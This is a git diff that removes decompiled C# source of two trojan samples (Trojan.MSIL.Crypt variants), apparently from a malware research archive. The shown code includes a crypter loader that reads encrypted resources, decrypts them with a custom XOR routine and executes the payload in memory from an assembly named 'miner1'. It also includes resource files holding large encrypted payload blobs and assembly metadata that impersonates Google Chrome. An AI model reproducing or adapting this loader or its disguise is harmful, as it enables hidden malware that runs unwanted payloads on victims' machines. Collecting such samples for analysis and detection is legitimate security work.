b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/UniversityDataBase/Electronics.cs deleted file mode 100644 index 789545a6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/UniversityDataBase/Electronics.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: UniversityDataBase.Electronics -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -namespace UniversityDataBase -{ - public class Electronics - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/UniversityDataBase/Engineering.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/UniversityDataBase/Engineering.cs deleted file mode 100644 index 4a29159f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/UniversityDataBase/Engineering.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: UniversityDataBase.Engineering -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using Microsoft.VisualBasic.CompilerServices; - -namespace UniversityDataBase -{ - [StandardModule] - internal sealed class Engineering - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/lRoSfMqTdH.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/lRoSfMqTdH.cs deleted file mode 100644 index bfa5ef8e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/lRoSfMqTdH.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: lRoSfMqTdH -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Text; - -public class lRoSfMqTdH -{ - [STAThread] - public static void Main() - { - RManager rmanager = new RManager(); - string Data = Conversions.ToString(rmanager.RRM().GetObject("cKsKpXdBlA")); - lRoSfMqTdH._EI ei = new lRoSfMqTdH._EI(lRoSfMqTdH.Retrieve(ref Data, (byte[]) rmanager.RRM().GetObject("aYvEs"))); - } - - public static byte[] Retrieve(ref string Data, byte[] KB) - { - byte[] bytes = Encoding.Default.GetBytes(Data); - int num1 = checked (bytes.Length - 1 * 8); - int num2 = 0; - while (num2 <= num1) - { - bytes[num2 % bytes.Length] = checked ((byte) unchecked (checked (((int) bytes[unchecked (num2 % bytes.Length)] ^ (int) KB[unchecked (num2 % KB.Length)]) - (int) bytes[unchecked (checked (num2 + 1) % bytes.Length)] + 256) % 256)); - checked { ++num2; } - } - Array.Resize(ref bytes, checked (bytes.Length - 1)); - return bytes; - } - - public class _EI - { - private byte[] AE; - - public _EI(byte[] AE) - { - this.AE = AE; - this.RET(); - } - - public void RET() => EX.IM(this.AE, "A", "_RECALL", new object[0]); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/reHold.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/reHold.cs deleted file mode 100644 index 0dba301a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/reHold.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: reHold -// Assembly: miner1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9ce2e0bc23b1584c -// MVID: 18758A91-3AE2-445F-93F7-B4B6F4C0BD10 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507.exe - -using System; -using System.Runtime.CompilerServices; - -public class reHold -{ - private Type type; - private object cName; - - public reHold(Type type, object cName) - { - this.type = type; - this.cName = RuntimeHelpers.GetObjectValue(cName); - } - - public Type returnType() => this.type; - - public object returncName() => this.cName; -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/vCwRs.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/vCwRs.resx deleted file mode 100644 index ba675276..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvw-cfa458247230499a84b8bace00769c691d7a44c3ec65103371af2875471e0507/vCwRs.resx +++ /dev/null @@ -1,192 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - vbdR497NRkSmrU+WO8fg3g== - - - Q6UrnoKFp4Y= - - - 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--- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; - -[assembly: PoweredBy("Powered by SmartAssembly 6.6.3.41")] -[assembly: AssemblyCopyright("2010")] -[assembly: AssemblyDescription("Google")] -[assembly: AssemblyTitle("Chrome")] -[assembly: AssemblyTrademark("Google")] -[assembly: AssemblyCompany("Google")] -[assembly: AssemblyProduct("Chrome")] -[assembly: AssemblyFileVersion("10.1.2.5")] -[assembly: DoNotDistribute("Built using an evaluation version of SmartAssembly. Cannot be distributed.")] -[assembly: AssemblyVersion("10.1.2.5")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/ChrmResFilerdr.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/ChrmResFilerdr.resx deleted file mode 100644 index 7a07a6cf..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/ChrmResFilerdr.resx +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - IuO+W6MIc1zITFsnJIESP6WJHKIfGv0WRmLjU3GeVwnj0fQ6DuOkXcotIURakoujcpWgj0gh64d2paSmqPeSZ+jlW6+H0sjALw7cSpUa4lGGs8w/1wML2Eto0oY0If+GVWON5TtINuk3+T+TIBDghPfPMN2sd7rA4epQRBUZYtiF97KpqpcCkyslWkT00ieG6TW3ciBW1+mD90BI3jK4HoEBlCETpNL3JZ6jNrbT2MY8OzcshnnBWl6gnlYXY/F3fLCKG1gQiNh5ChDV1itsYX69YxAn8F+6sjsnaRIJJPO2yNss7OK4+d1nBcxmuMGuNz6HUGCJOKUnxmhNEByAl3qJzXaUQSDKI1G953qmn4PqVQ3cT/mQv3eWua1lQgoQN8OMr2Wn6KW54eMthJRQ3t4JbJv38nj4EhcgKD09bnPZ/Ac5uownI1iKTh2yiLt4m7Yo0ZRVwSsnVRnht/BrwufZOSVguu8TxiFcVU1fN1bXLdcKaFUVuxYGSHRxWphHTHp1kswSTbBwhGA7ld3g8ftNgRo/E9jpylowd2phF17IN/rgkvQniF+2pU8FBNqcg3rwZrPaRTxVTWl5ZvDnBMHdaVHTmMuHCc5TsazKr+PZWe5fk9Ahn+14t1WUHt4kFTp6Q3IRhBO5grwjeJBll2lnAhjf0mnMDI46tsnR4QP3DunDKghxa16Z3H1Kmm4Fgl6hBlVh0TXMszSWyrbZrav6RKP9n8tWB2m1tYR02mHH6NEpLNWrJT+Y4ABNDtOasNeXsJDcc+3RGpaFQyqxZPMZbMDAnjcmJ2UwpCWzt00afOToUm8pV26dSm7MflHtDsIJgvprB4FDzh0Vk6VeeEoywp+8ZpX6Ev5HfRddGEdwRNJLZ32/HNrU+QNrsNbv+wSRODfStlBLukTjMT2zFU7NG4bAJQlDVtgGrN2rT2fl9VyQjmrkN1fhopM2XZLmOYVqwdG6HvfeBjuT1kGCMuK1rr3N5E0iRu0mA/onFNID3ArwicwGrt9bL6+G2HkZhcdgWESfBq8+pfZ0p0tm57aJ9Wuj9F3Z7p9wO0+cvoVcr/KHABQbQXMQmJEYVFBmQ/XTvIaVMDUkMsh7IIOVsspn2ilHoiRjghUnI1iUoMwGOVenu5pEqYDYxn6Q84XDS7bxd9zm7bNXccl3ADnja2JYDYxdcJLOcVdcb5j07A+5/WX+PL3UKJDJAe9wpI6gpsilY8fFObSJTtpIKVzuXBNptsJPDm8LMUdhVze1+4GCxYBVwbpIr+GsAXueBU1ud0iGGyh64wSMdzVDVM/8HebH9YD+OfFi8+WdzXB8UbT0HOgYka3Myxca2txOCNqUiJdXeDJJtw9h129ERU+CXLTjMNMyxZfnNsMezTQExZVtCzHYKBFohDVvh7SKbQ0OBsvLytEGky3cula6+UVz7TU9gU8Wd02mJfh0sAGbY7PvlqMWq4iklkkr1/UwkUVEiJFr7BXprsVEl53nbDUjOxkMOvE+qvnkFeEwmQAVeBuAZsZX7/xz/vweVdpLu4kzPZL7usilAx7x8t1UFPPr7ce40qbMVr5XXjlVBDdCnrB4t4LbmjJXZPpHzYOGSL7rIdZ95kzZJmijTl9eZw+CZ2FTdlkxBiTtChRS6MLg6aWBo6/UGot7X8gV02XVMzoM7zZso67DyhsZyUiypktNoMvMLb5b2vemT3G/x9qiCMtesj+jghp63QA3kmMvNcW1Tq5SQrNoQdKquNakLtWbp3QadUudLI4o7Hyp+2/hhO/C0WLAR/E+ga5xUOvUybM+EoaVpj8pu1dHucC0wortsBfuI/UuKnEKoVB0XOc9Fnr8ge+doN8xC+323yv5/BcJGPs4cX9k4e5orJkmbklpExmwRz4Hjbcp1tS31OdrI2wEAGP5auB19JxGKGcSZIzDlL9dNixNWSHjYvrCIxcfBQvadpEAcwD4phIFffc/8xJZ65ccOL9eVWzgRs1E7wbOqcUnDrjdDAdLvKciRAFv0b7G58scq+nf/vP0YnYQsAYspWQvJs+TBCzdqWL/FECNwyZ8kOGtwlsx/sZ7KE6DmQif4MGvUtu+jg3zUDegHd/7+WQ09vngFz4Znw2O2MGOLsPJMZUIPMr5uKDWFmRPG8VdQ/vO+m9+8F5YrEI3NnZkIBxIxQwqjBm6tRac4cTjbiUbC/qccKWo0pQ3bnF12KTm2TgoNYsTDj6ebhrtXMYa1SfuwanlMZLcMrGzZ1sfL9ZXEoQevjWwRilGqqcz7xOg8SO/6rvbNzuWD6d40NUVikCTgTpOKfXmjFqbkX5rVHRP/FBAkPGq42fC9Elhx3ESraVws41s8gxnQEI6ypamms6aLxnxLHjbvd3X/lKboH48dnekwszMoCQykEPrswFFIb42lTQ20mI8sY0cp5JkxBQRswg3OK4LB/S5Q367hTIKlXHmV2hXLOn1nQk+bhnwkAPMAHrAM05I0LcP1CQOCFW0yjmgrQ7VeYFDspQOxx4KDS3dEeO4Mzg3v1HAl6jAj4jGPN2TzJdNq3Xqy0VrBe/mVla1SwWjgEvui1fzqVMVo7z29v6bSoQDS7diOqyHjx8VNIZg3GLADd5CBR3uEDCRpWt0oefFiKcVpRB3cod6RRxZTgeaEaJ4qEyCfXL27EbAXLPVn3xYO2/hKOkMlvDIjjcKu0gTDKwLJQm19X8sS2SpHWpUcO7f+Auv5KsJ8WBqZBsBoI6A0S+yx2ORJImdqL1hw00jTaXYN7WxhRxt84NauDJrGpVKwuxzJp9n52cqIq5rwe23fOBkDiOLmEHbd/nH1MjRO91thKUi6FEt9WzVMRjhuL2kK1yMWVv20X/1hR16I+S3HwQLvrbgW0ePZZOj0UOEbFOFxw+44+8o+82Y5iS/ZdwJ/HOq1FNMsIS83fFh4P62EvOes9ASDq0XbsWagNVtU1qzkpmkrgv5aiTsg0+ChyXC/X2ngPtHpjhezPmTP2mLE3ZcjvXaGE/PYup5hPjucUSAfKoIx0LAb+vby4oHGlEF3p2TP/MNMICSvu62yun+vvenwRh0ATjldrauELz9IzK1GdKW/YHdV7EixJYHLPXhXNtrYsjPuFJirNAJTEITX/KmFunFM203B4yDQT4k0nscAIBzTYPeYkFNi6XWaV+R2KthtiUzUq+mtRUijfpwHaV1NOjgqvABc6C6xHps0nHc2ICr6EH5qg0rY7zTSBuoYPuSvDQyBYQIE8I8yYJLrzmJg1nMhdALBhXTBzuBYVXtooPVeWX/nS+h6E9BTk1FXE2qxHPXUAk7LpZOGJADEiApQPE/0Vxl6Aa3bWfIlmweBTfiT8hWeFB4kCp5pRYNWc7BFAtBwvKIVHFkhuAJF+P38Ycmcv9DmJf01ShQUzkOnHbtzponVWXvGIpkmlkMbkaF0CYOlLIXLX3NXrH8bRO9qmXn9QMddQYcG5S/POcFIcO2svAt6Xt/YkJykoneL8mbRECMN/8uh/zIwl92ejyTc17gvxIGV7mZaxbENNxMvcvpy4CPAxsTio7W7DQqToWvZZa4TwZEDvtKzP05qv9YHv4BD+dLnv0YKpiiKfOUL3hZJWjpTuD37+md3cRD0XAqHh29qF5atVLAfq+y/8ISTlflvhWrFqjpTFFYnujluN/gIWbERPW4Kipf+4bUaOF9lO4wIIqUdG4pfpJr5c9i2s3OY6vLXV1jxnYq+WY/BKk4kKHtIyl2uYedbE+SIkxY6P3FnZFFQRSiy+aCLkn4ZjJIhE9nPhtGsBFrlO1hXtrG4ImvY5mb9pZGlg4w+8q/A+iecqeCh5carmnrtyYS7at/3NT73fWDwwuDSasdg7rTfD+y+FUzHJBPZZgUw9HH1/6qiBBh5ZmdQXzFcExum46q5maLI2Vp/fSpCrR/x5X08uMAsBD8uLqPGfWMtFAajUFlOQODomgFfE/IJRNK2oA9S+bzf8RrCJh+C1fs4534B1Vy/aikMvqlM1SRZg2nppIAeaiz6f0i+47wBlfegxM09yH4Vj04twNSn6UqxesmZqjeVqD33fBmB938zAl9o4lH/eufvCHDM3LJedOnJn4n1R2ebVR75vTTX6y2yYBLgmaZ0aY0x9qbCzRGS3UAX5R4V87HBnw7U27oNiz/0lNuy7cd69PqOvlJfIhqbf7Ts+q+qcu2IHIT2bMAd8jmNHcjljZ3yyEUhhvO70zozSul47SuKOqUsY//hC9UMGUmbaq5Sagpy0N4H+kXzzBGr22mH5Yb8TZtSOkaO0Y8eKNNfQgO/i+JKEpLhSPI4yYftaJM+wRVdbtZaSUHT3O1hQKA9yYDh0oSdb0J2DYgwaCv9Z0kU3X1yDqBJPSe8FR5/pGmEFrnpkaXtiVyX0h2KTu2XiaHcrkkPoKPCa1zTAW1YA+clo5DlVwFAS2IDE4DiC7wPPh4BeOnpQL4VHSzupU3zqW2KpJcLo+i3l8ObB++vTDKiDPHg4DENqtta54+q6wwgvcZT0OqKDsc6cTWrvK1Hd3L80r1E/XmeGMNu7jrEp1avV+Oe6L243psFl4wfHaw4q2W5L6uF6dSVqwrmay1edYk2wnMnkMqa4utxseHJknRYMnvW2bhGNFX0AAOAzYFHoN78kZBTwaXz5O1tgh1uNjI1/HNlud1tpo5spyfMXdcC6d2bWCFe5a4UkJPQ6h+72IuOCnqvoIzudgFpstTQ1r9KUYOg347dBgXipb/zc53UU088EkeRfPE/GRlDPwzWKzH31jHRYepQ0GpmMNj62vc1gUOANU0EV/gtcZsAldrF9TXlE0UU72Pe7gOk23Qw7u69ueRxRutJeW5R7Y6jUd8OqphifIYW2lzYRp3iVaA7ra5B6g4R7LoDWQpnSdOxVo9S4Nxg1aNeZyhEZO4mN94SesuSyonSIqHaGEht0cu8Vx5TEXlIqXs6uPx/OgCkgc4f7m+9XxtgU9LUWjPBNEWsJlO+kCJMmsN87DwnKc8s99LnxeQ3g5YGHD9e4b7Xq0q7d+4RvsO3pdAtDhkfCZrshl+VDwrkN7NGfhuctvJ09W4bfa2I0Ek6eKXOQRSl7Zr53RJSFFWLO+WbuntbB5wWM5Q8kY7kTtw+0Vb14K853pyX/j+P9fpH0N/VikvFWkAEgo0xsl3S5FMKtlwMGFspHIcptesJ4ekdnkT92N6+FZktrjLMD+Z9Y9+YU4tlLdwu/GFYoGKs81gKxvdrQCDafd478xjnNVyYbQieQbBI4j2nZGwKrtG08vnNdSCkeNxhc9lSTgh4DPCFo7G58E9a86vPaZmF/NMLxo4DUHq1wPJh5vZ1gEibza12CnUdw20UFIpg9tIfs47RDzkm0/0e3fsOnttuDLY+oSXyRA3WrARHhlyTz53HrUUtC1vpELd87pC6dMShpkfzt3E2hQvAF+odde7EsWSGUiCH62387b0CK7mgfFYDCOm2PZfwLpqXXMsq043qNveLMIDhqLJhksx7r24kqWMrpTZEHaICN5Om6259mTQPWUgHpkTDgSMx2nnyT6mbQwxD2G45Gi3CJdF2AgK0Uxv+jvXGGJ6E11YgWe8DJqRCg57gswmcd4kLgv3I8g2g/axduNruv3Xy/BTSXwtHEd1uyWc7h3nA6Xj3MyaYOxqo85OIP5p2bIDWBY+DW9TSVoLKy9QVX4VYEyXhaqA0FVhiQWQuxbUCDbiqv7XvvUyAGJ6g68ai9/35SIXVAvbyqGeNYGZjRlaRfH8NJmq8qr/nWKVcEmcwyboWq2JFAFRyBiqPRtEtNeZeNIEbUFxGcBLb2s5EMF5lhfIf2yeroBUlRdRulArEIgQtPPoRp4C0Rdvk1E/fb4YKl74m310E27iE++ohQ+Ti0E/BEr9UbfeN/WH6P1qPoEasrK+ZrPGYeNX8O/cADDnP2gmfK+QO9MmNFeLP9Bq9+fFLFoPlfJLRjrBy8Fsi1qIW7yYZayUfL9H0+DEvGEHM++mRfdmDS9EN6qgd7v+W6bGKE+e7kZr+hMinEnD4eLjk9xN7atlIL1CpBw+t4oyERLy8WYAap7vPyP5u65bz8MuLc4QqFZ1xrwzuRKqYHMG46+bVrFXy3FVyUeoQ2/YKBOJ79vOuEiaftkbjNL4SuVL3lYASUFRi+e4Uhh+y4s8E1wOAv+i4ri/CNNL6CbL1hy2dwl21zRQvCgqqUSX4oTVSKoGUvJ